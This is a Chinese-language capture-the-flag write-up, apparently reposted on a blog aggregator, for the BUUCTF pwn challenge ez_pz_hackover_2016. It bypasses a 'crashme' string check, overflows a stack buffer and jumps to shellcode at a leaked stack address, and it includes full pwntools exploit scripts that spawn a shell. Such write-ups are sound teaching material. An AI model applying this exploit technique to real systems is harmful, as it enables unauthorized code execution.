[BUUCTF-pwn]——ez_pz_hackover_2016
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——ez_pz_hackover_2016
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——ez_pz_hackover_2016
- 題目地址:https://buuoj.cn/challenges#ez_pz_hackover_2016
checksec一下,NX都沒開,十有八九是讓自己寫shellcode了
在IDA中,main里面沒什么可以看的.
在chall函數中發現,0x40C = 1036 > 1023無法棧溢出。不過總算找到可以寫shellcode 的地方。
發現vuln函數,只要通過輸入"crashme\x00"就可以繞過檢查,執行vuln函數。
并且dest可以棧溢出的因為n 遠遠大于 0x32。下面就是找到shellcode 的地址,作為返回地址就好了。在pwndbg里面尋找偏移。
我先將exploit大概寫出來,如下:
from pwn import * p=process('./ez_pz_hackover_2016') gdb.attach(p,'b *0x08048600') shellcode=asm(shellcraft.sh()) p.recvuntil('crash: ') s_addr=int(p.recvuntil('\n'),16) print hex(s_addr) payload='crashme\x00'.ljust(0x32 + 0x4, '\x00')payload+= 'this'+shellcode p.sendline(payload) p.interactive()其中,'this’是返回地址,待確定。
在pwndbg中看看
修改exploit后為
結果發現不可以繼續調試發現, 返回地址不對。雖然不知道為啥
但是到ebp的距離是0x16
調試確定’this’ 是 p32(s_addr - 0x1c)
所以最終exploit為
exploit
from pwn import * p=process('./ez_pz_hackover_2016') shellcode=asm(shellcraft.sh()) p.recvuntil('crash: ')s_addr=int(p.recvuntil('\n'),16)payload='crashme\x00'.ljust(0x16 + 0x4, '\x00') payload+=p32(s_addr-0x1c)+shellcode p.sendline(payload) p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——ez_pz_hackover_2016的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——[Harek
- 下一篇: [BUUCTF-pwn]——ciscn_